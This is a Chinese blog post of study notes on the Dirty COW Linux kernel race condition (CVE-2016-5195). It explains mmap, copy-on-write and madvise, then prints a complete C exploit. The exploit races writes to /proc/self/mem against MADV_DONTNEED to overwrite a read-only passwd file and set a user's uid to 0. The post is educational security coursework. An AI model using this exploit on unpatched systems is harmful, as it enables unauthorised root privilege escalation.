Dirty_COW_Race_Condition_Attack 左手的ㄟ右手 2023-02-20 15:55 119阅读 0赞 ### 文章目录 ### * * 前言 * 1. 摘要&&总结 * 2. 准备工作 * * 2.1 mmap函数 * * 2.1.1 mmap函数应用 * 2.2.2 mmap和常规文件操作的区别 * 2.2 Copy-on-Write机制 * * 2.2.1 mmap函数MAP\_PRIVATE参数 * 2.2.2 madvise函数 * 3. Dirty COW * 4. 结果 * 参考文章汇总 ## 前言 ## 来源:[《Computer Security》A Hands-on Approach][Computer Security_A Hands-on Approach] — Wenliang Du 所有的代码/文档见github:https://github.com/da1234cao/computer\_security 书上的内容介绍比较简单,这篇文档也是如此。 当然,也可以参考同类有些难度的文章(这两篇文章,我没有看): [CVE-2016-5195漏洞分析与复现][CVE-2016-5195] 、[利用dirty cow(脏牛)漏洞的提权尝试 ][dirty cow_] ## 1. 摘要&&总结 ## 偷个懒。。 > Dirty Cow(CVE-2016-5195)是一个内核竞争提权漏洞,之前阿里云安全团队在先知已经有一份漏洞报告[脏牛(Dirty COW)漏洞分析报告——【CVE-2016-5195】][Dirty COW_CVE-2016-5195],这里我对漏洞的函数调用链和一些细节做了补充,第一次分析Linux kernel CVE,个人对内核的很多机制不太熟,文章有问题的地方恳请各位师傅不吝赐教。 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0_size_16_color_FFFFFF_t_70] ## 2. 准备工作 ## 在这之前,需要理解竞争条件漏洞,参考:[Race\_Condition\_Vulnerability][Race_Condition_Vulnerability] ### 2.1 mmap函数 ### 参考:[C语言mmap()函数:建立内存映射][C_mmap] \+ man mmap + [mmap和常规文件操作的区别][mmap] \+ [Cache 和 Buffer 都是缓存,主要区别是什么?][Cache _ Buffer] [mmap和常规文件操作的区别][mmap] 介绍的有点问题,注意它的评论区。我也没有清楚明白,暂时不妨碍理解罢了。 #### 2.1.1 mmap函数应用 #### 我们先看看该函数如何使用,再谈其背后的机制。 /** * mmap function example * gcc -o mmap_eaxmple mmap_eaxmple.c */ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <string.h> int main(void){ struct stat st; void *map; char read_contents[30]={ 0}; char *new_contents = "mmap function example\n"; int f = open("./zzz", O_RDWR); fstat(f,&st); /*将整个文件映射到内存*/ map = mmap(NULL,st.st_size,PROT_READ|PROT_WRITE,MAP_SHARED,f,0); if(map == MAP_FAILED) return 0; /*从映射内存中读取文件内容*/ // memcpy(read_contents,map,18); // printf("read_contents : %s \n",read_contents); // printf("firt line : %s \n",(char *)map); //从文件中,读取一行;一行超过20,取出前20 FILE *fp = fopen("./zzz","r"); if(fp == NULL){ printf("open file failed."); return 0; } fgets(read_contents,sizeof(read_contents),fp); fclose(fp); printf("first line : %s\n",read_contents); /*通过映射内存,向文件中写入内容*/ memcpy(map,new_contents,strlen(new_contents)); munmap(map,st.st_size); close(f); return 0; #### 2.2.2 mmap和常规文件操作的区别 #### 1. read()和write()系统调用,都将陷入内核,将数据从硬盘–>页缓冲区–>内核空间;再从内核空间拷贝到用户空间。(页缓存,解决IO读取慢的问题) 2. mmap函数,也会导致陷入内核,但它仅建立用户虚拟地址空间和文件的映射关系(虚拟地址映射到物理地址,物理页具体内容没有加载;)。当进程访问这片内存的时候,发生缺页中断,将文件内容–>页缓冲区–>y用户态物理空间。 3. mmap之所以快,是因为建立了物理页到用户进程的虚地址空间映射,以读取文件为例,避免了页从内核态拷贝到用户态。 4. 总体来说,**mmap在进程的虚拟地址空间中创建一个新的映射。简而言之,它将大块文件/设备内存/任何内容映射到进程的空间,以便仅通过访问内存即可直接访问内容。** 5. 真的明白了吗?非也。上面的观点结合起来就是,mmap可以代替read,而且更好?read函数至今存在,可能有其存在的理由。 ### 2.2 Copy-on-Write机制 ### 参考:[COW奶牛!Copy On Write机制了解一下][COW_Copy On Write] 简单理解就是,多个进程起初共享一段内存(不同的进程有不同的虚拟地址空间,虚拟地址映射在相同的物理页,便共享同一段内存了)。当有个进程要对该内存进行写操作的时候,复制一份到其他物理页,该进程的虚拟地址空间的页表映射也修改,使得映射到新的物理页。 即,复制的操作推迟到需要写的时候才执行。详细见上面链接。 #### 2.2.1 mmap函数MAP\_PRIVATE参数 #### COW机制:复制内容到新内存 --> 修改页表映射,映射到新内存 --> 在新内存进行写操作。 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0_size_16_color_FFFFFF_t_70 1] #### 2.2.2 madvise函数 #### 参考:[/proc/self/][proc_self] \+ [C语言lseek()函数:移动文件的读写位置][C_lseek] \+ [sizeof与strlen的区别][sizeof_strlen] \+ [\[转\]mmap和madvise的使用][mmap_madvise] 当使用madvise函数中的MADV\_DONTNEED参数。进程会放弃已经复制的内存,修改页表映射重新执行原来的内存空间。 /** * 文件名:cow_map_readonly_file.c * 编译:gcc -o cow_map_readonly_file.c cow_map_readonly_file * 作用:了解copy-on-write(COW)机制 * 操作: * 1. 使用/proc/self/mem对只读内存进行写操作。由于COW机制,并没有修改原内存,是复制到新内存。 * 2. 之后使用madvise,放弃已修改的新内存 */ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <string.h> int main(void){ struct stat st; char read_content[20]={ 0}; char *new_content = "This is new content"; int f = open("./zzz",O_RDONLY);//对于others,文件仅有读权限 fstat(f,&st); void *map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);//将文件与内存映射 int fm = open("/proc/self/mem",O_RDWR);//打开该进程内存对应的伪文件 lseek(fm,(__off_t)map,SEEK_SET); //定位读写位置到map,我们可以通过内存直接修改文件内容 /** * 将内容写到只读文件?否 * COW机制:复制一份到内存中--》页表映射到新内存位置--》内容也写入新内存位置 * 文件映射的内存被标识为COW,在写之前确实检查了,所及执行后面的复制操作。 */ write(fm,new_content,strlen(new_content)); // memcpy(read_content,map,strlen(read_content));//读取部分新内存位置内容 memcpy(read_content,map,sizeof(read_content)-1);//读取部分新内存位置内容 printf("content after write: %s \n",read_content); madvise(map,st.st_size,MADV_DONTNEED);//丢弃新的内存位置,map指向原来位置 memcpy(read_content,map,strlen(read_content));//读取部分原来内存位置内容 printf("content after madvise: %s \n",read_content); return 0; } ## 3. Dirty COW ## 1. COW机制:复制内容到新内存 --> 修改页表映射,映射到新内存 --> 在新内存进行写操作。 2. 当使用madvise函数中的MADV\_DONTNEED参数。进程会放弃已经复制的内存,修改页表映射重新执行原来的内存空间。 3. 所以,我们只需要,按照下面的顺序,便可以利用这里竞争条件漏洞(检查和执行分离)。 4. 复制内容到新内存 --> 修改页表映射,映射到新内存 -->madvise,放弃已经复制的内存,修改页表映射重新执行原来的内存空间 --> 在内存进行写操作,便对只读文件进行了写操作。 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0_size_16_color_FFFFFF_t_70 2] 参考文章:[Pthread线程简单使用][Pthread] \+ [linux C语言多线程编程,如何传入参数,如何获得返回值][linux C] \+ [linux查看进程所有子进程和线程][linux] /** * 文件名: cow_attack.c * 编译: gcc -pthread -o cow_attack cow_attack.c * 描述: * main thread: 将只读文件/etc/passwd.bak映射进入内存 * write thread: 对该内存进行写操作,触发COW机制;复制--》页表修改--》写操作 * madvise thread: 放弃复制的内存,修改页表指回原来只读文件对应的内存 * 作用:将用户dacao的uid改成0(root) */ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <string.h> #include <pthread.h> struct file_info { char *map; //文件映射到内存的起始位置 off_t file_size;// 文件映射到内存的大小 }; void *writeThread(void *arg){ char *position = arg; char *new_content = "dacao:x:0"; /*对/etc/passwd.bak的内存,进行写入操作,出发COW*/ int f = open("/proc/self/mem",O_RDWR); while (1){ lseek(f,(__off_t)position,SEEK_SET); write(f,new_content,strlen(new_content)); } } void *madviseThread(void *arg){ struct file_info *pth2_arg = (struct file_info*)arg; while (1){ madvise(pth2_arg->map,pth2_arg->file_size,MADV_DONTNEED);//丢弃新的内存位置,map指向原来位置 } } int main(void){ struct stat st; /*将/etc/passwd.bak映射进入内存*/ int f = open("/etc/passwd.bak",O_RDONLY); fstat(f,&st); void *map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); //传递给线程的变量 char *position = strstr(map,"dacao:x:1000"); struct file_info pth2_arg; pth2_arg.file_size = st.st_size; pth2_arg.map = map; pthread_t pth1,pth2; pthread_create(&pth1,NULL,writeThread,position); pthread_create(&pth2,NULL,madviseThread,&pth2_arg); pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0; } ## 4. 结果 ## 这个漏洞已经修复,我也偷懒没有去虚拟机安装一个旧版本的内核进行尝试。 可以参看:[CVE-2016-5195漏洞分析与复现][CVE-2016-5195] ![在这里插入图片描述][20200628090633718.jpeg] ## 参考文章汇总 ## [Race\_Condition\_Vulnerability][Race_Condition_Vulnerability] [C语言mmap()函数:建立内存映射][C_mmap] \+ man mmap + [mmap和常规文件操作的区别][mmap] \+ [Cache 和 Buffer 都是缓存,主要区别是什么?][Cache _ Buffer] [COW奶牛!Copy On Write机制了解一下][COW_Copy On Write] [/proc/self/][proc_self] \+ [C语言lseek()函数:移动文件的读写位置][C_lseek] \+ [sizeof与strlen的区别][sizeof_strlen] \+ [\[转\]mmap和madvise的使用][mmap_madvise] [Pthread线程简单使用][Pthread] \+ [linux C语言多线程编程,如何传入参数,如何获得返回值][linux C] \+ [linux查看进程所有子进程和线程][linux] [CVE-2016-5195漏洞分析与复现][CVE-2016-5195] 、[利用dirty cow(脏牛)漏洞的提权尝试 ][dirty cow_] [Computer Security_A Hands-on Approach]: https://www.handsonsecurity.net/ [CVE-2016-5195]: https://xz.aliyun.com/t/7561 [dirty cow_]: https://zerokeeper.com/penetration/the-use-of-dirty-cow-dirty-cattle-loopholes-in-the-right-to-try.html [Dirty COW_CVE-2016-5195]: https://xz.aliyun.com/t/450 [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/2020062809045539.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0,size_16,color_FFFFFF,t_70 [Race_Condition_Vulnerability]: https://blog.csdn.net/sinat_38816924/article/details/106931405 [C_mmap]: http://c.biancheng.net/cpp/html/138.html [mmap]: https://www.cnblogs.com/huxiao-tee/p/4660352.html?utm_source=tuicool&utm_medium=referral [Cache _ Buffer]: https://www.zhihu.com/question/26190832 [COW_Copy On Write]: https://juejin.im/post/5bd96bcaf265da396b72f855 [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200628090520463.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0,size_16,color_FFFFFF,t_70 [proc_self]: https://www.jianshu.com/p/3fba2e5b1e17 [C_lseek]: http://c.biancheng.net/cpp/html/236.html [sizeof_strlen]: https://www.jianshu.com/p/e1ce19da9b82 [mmap_madvise]: https://www.cnblogs.com/wlzy/p/10665472.html [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200628090615729.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NpbmF0XzM4ODE2OTI0,size_16,color_FFFFFF,t_70 [Pthread]: https://www.jianshu.com/p/a49a50f602c0 [linux C]: https://blog.popkx.com/linux-c-multi-thread-programming-how-to-input-parameters-and-how-to-aquire-return-values/ [linux]: https://blog.csdn.net/uestczshen/article/details/74091892 [20200628090633718.jpeg]: https://img-blog.csdnimg.cn/20200628090633718.jpeg
还没有评论,来说两句吧...